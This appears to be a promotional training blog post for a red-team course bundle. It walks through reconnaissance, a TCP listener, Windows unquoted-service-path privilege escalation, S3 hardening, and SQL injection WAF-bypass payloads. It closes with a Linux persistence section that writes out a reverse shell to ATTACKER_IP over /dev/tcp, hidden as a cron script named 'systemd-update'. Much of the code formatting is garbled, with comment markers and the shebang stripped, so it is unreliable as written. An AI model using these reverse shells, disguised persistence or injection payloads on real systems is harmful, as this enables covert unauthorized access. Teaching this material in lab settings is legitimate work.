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Introduction:
The cybersecurity industry is facing a critical skills gap, with organizations desperately seeking professionals who can think and operate like adversaries. To bridge this gap, continuous education in offensive security, OSINT, and defensive strategies is no longer optional—it is a necessity. A new resource bundle from Red Team Leaders, featured in the latest issue of HVCK Magazine, aims to accelerate this journey, offering a comprehensive curriculum of 46 courses and 20 rigorous exams designed to forge world-class security talent.
Learning Objectives:
- Identify key resources for structured cybersecurity education in red teaming and defensive operations.
- Understand the practical application of open-source intelligence (OSINT) in security assessments.
- Execute basic reconnaissance and privilege escalation techniques in a lab environment.
- Configure essential security tools for both offensive and defensive purposes.
You Should Know:
- Navigating the HVCK Resource & Initial OSINT Reconnaissance
The latest issue of HVCK Magazine (accessible viahvckthehills.com/Magazine) serves as a gateway to the Red Team Leaders course bundle. Before diving into paid courses, a foundational skill is performing reconnaissance on targets. This can be done legally on your own domains or in Capture The Flag (CTF) environments.
Step‑by‑step guide: Basic Passive Reconnaissance
This process mimics the initial steps of a red team engagement to gather information without touching the target’s systems directly.
1. WHOIS Lookup: Gather domain registration details.
Linux command to find domain registrar and nameservers whois example.com | grep -E 'Registrar|Name Server'
2. DNS Enumeration: Discover subdomains and mail servers.
Using dig to find mail exchange records dig mx example.com +short Using dnsrecon for more comprehensive subdomain brute-forcing (requires installation) dnsrecon -d example.com -t brt -D /usr/share/wordlists/dnsmap.txt
- HTTP Header Analysis: Reveal server software and technologies in use.
Using curl to fetch headers from a target curl -I https://example.com | grep -i server
-
Red Team Tool Configuration: Setting Up a C2 Listener (Proof of Concept)
Red Team Leaders’ courses cover command and control (C2) frameworks. For educational purposes, understanding how a basic listener works is key. The following Python script creates a simple TCP server, analogous to how a C2 agent might “call home.”
Step‑by‑step guide: Creating a Basic Listener
Note: This is for educational use in authorized lab environments only.
1. Create the Listener Script (`listener.py`):
import socket
import sys
Create a socket (connect two computers)
def create_listener(port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', port)) Listen on all interfaces
server.listen(1) Listen for one connection
print(f"[] Listening on 0.0.0.0:{port}")
client_socket, client_address = server.accept()
print(f"[+] Connection from {client_address}")
while True:
Receive data from the client
request = client_socket.recv(1024)
if not request:
break
print(f"[] Received: {request.decode('utf-8')}")
Send a simple response (simulating a task)
client_socket.send(b"ACK\n")
client_socket.close()
server.close()
if <strong>name</strong> == '<strong>main</strong>':
listen_port = 4444
create_listener(listen_port)
2. Run the Listener on Linux/Windows:
Linux python3 listener.py Windows (if Python is installed) python listener.py
- Simulate a Connection: From another terminal (the “victim”), use netcat to connect.
nc -nv [bash] 4444
-
Windows Privilege Escalation: Hunting for Unquoted Service Paths
The 20 exams mentioned in the promotion likely include practical privilege escalation. A common misconfiguration in Windows is “Unquoted Service Paths.” If a service executable path contains spaces and is not enclosed in quotes, Windows will attempt to run executables from unexpected locations.
Step‑by‑step guide: Identifying and Exploiting Unquoted Service Paths
-
Enumerate Services: Use the Command Prompt (cmd) or PowerShell to find vulnerable services.
:: Windows command to find services with unquoted paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\" | findstr /i /v """
This command filters for auto-start services, excludes system folders, and looks for paths missing quotes.
-
Check Permissions: Verify you can write to the identified directory.
:: Check write permissions on the directory (e.g., C:\Program Files\Vulnerable App) icacls "C:\Program Files\Vulnerable App"
Look for `F` (Full Control) or `W` (Write) for your user.
-
Exploit: If the service path is
C:\Program Files\My App\service.exe, create a malicious executable named `My.exe` and place it inC:\Program Files\. When the service starts, it will run `My.exe` instead of the intendedservice.exe.
4. Cloud Hardening: Securing an AWS S3 Bucket
Modern red teaming and blue teaming involve cloud infrastructure. Misconfigured S3 buckets are a top vulnerability. Courses likely cover how to secure these assets.
Step‑by‑step guide: Using AWS CLI to Audit Bucket Permissions
1. Install and Configure AWS CLI:
Linux/macOS pip install awscli --upgrade --user aws configure Enter your Access Key ID, Secret Access Key, and default region
2. Check Public Access (Offensive/Defensive):
Check bucket ACLs aws s3api get-bucket-acl --bucket your-bucket-name Check bucket policy aws s3api get-bucket-policy --bucket your-bucket-name --query Policy --output text | python -m json.tool Check if the bucket allows public listing aws s3 ls s3://your-bucket-name --no-sign-request If this works without credentials, the bucket is public.
- Harden the Bucket (Defensive): Block all public access.
Block public access at the bucket level aws s3api put-public-access-block --bucket your-bucket-name --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
5. Web Application Firewall (WAF) Evasion Techniques
The courses will also touch on web application attacks. Understanding how to bypass simple WAF rules is a core red team skill. This involves obfuscating payloads.
Step‑by‑step guide: Basic SQL Injection Obfuscation
Consider a vulnerable login form. A standard SQL injection like `’ OR ‘1’=’1` might be blocked. Use inline comments to bypass regex filters.
1. Standard Injection (Likely Blocked):
' OR '1'='1
2. Obfuscated Injection:
' OR '1'='1' /!50000union/ select 1,2-- -
MySQL-specific comments can sometimes bypass WAFs that don’t parse them correctly.
- Case Manipulation & Encoding: For Apache servers, try different cases or URL encoding.
' oR '1'='1'%23
6. Linux Persistence: Creating a Stealthy Cron Job
After gaining initial access, maintaining persistence is key. A common method on Linux is to create a cron job that calls back to the attacker’s infrastructure.
Step‑by‑step guide: Adding a Reverse Shell Cron Job
- Edit the Crontab: As the target user (or root if you have privileges).
crontab -e
-
Add a Persistence Entry: This runs a reverse shell every minute.
/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/8080 0>&1 2>/dev/null"
-
Make it Stealthy: Hide the job by placing it in system-wide cron directories with misleading names.
Place the script in a legitimate-looking location echo '!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/8080 0>&1' > /etc/cron.hourly/systemd-update Make it executable chmod +x /etc/cron.hourly/systemd-update
What Undercode Say:
- Structured Learning is Key: A bundle of 46 courses and 20 exams provides a structured path from novice to expert. This is superior to ad-hoc YouTube tutorials as it ensures a comprehensive understanding of the entire attack lifecycle, from initial access to exfiltration and reporting.
- Hands-On Validation Matters: The inclusion of 20 exams signals a heavy emphasis on practical application. In cybersecurity, theory alone is insufficient. These exams force the learner to execute techniques in a controlled environment, building muscle memory and problem-solving skills essential for real-world engagements.
- The integration of resources like HVCK Magazine with training platforms like Red Team Leaders highlights a growing trend in the industry: community-driven, holistic education. It moves beyond isolated tool usage and focuses on the mindset and methodology of a true professional, whether they operate offensively or defensively.
Prediction:
The future of cybersecurity hiring will increasingly rely on credential-based assessments from practical, course-driven platforms. Traditional degrees and generic certifications will be supplemented or even replaced by micro-credentials and hands-on exam results from providers like Red Team Leaders. We will see a shift where a candidate’s portfolio of completed practical exams carries more weight than their resume, forcing a standardization of these “red team” skill assessments across the industry.
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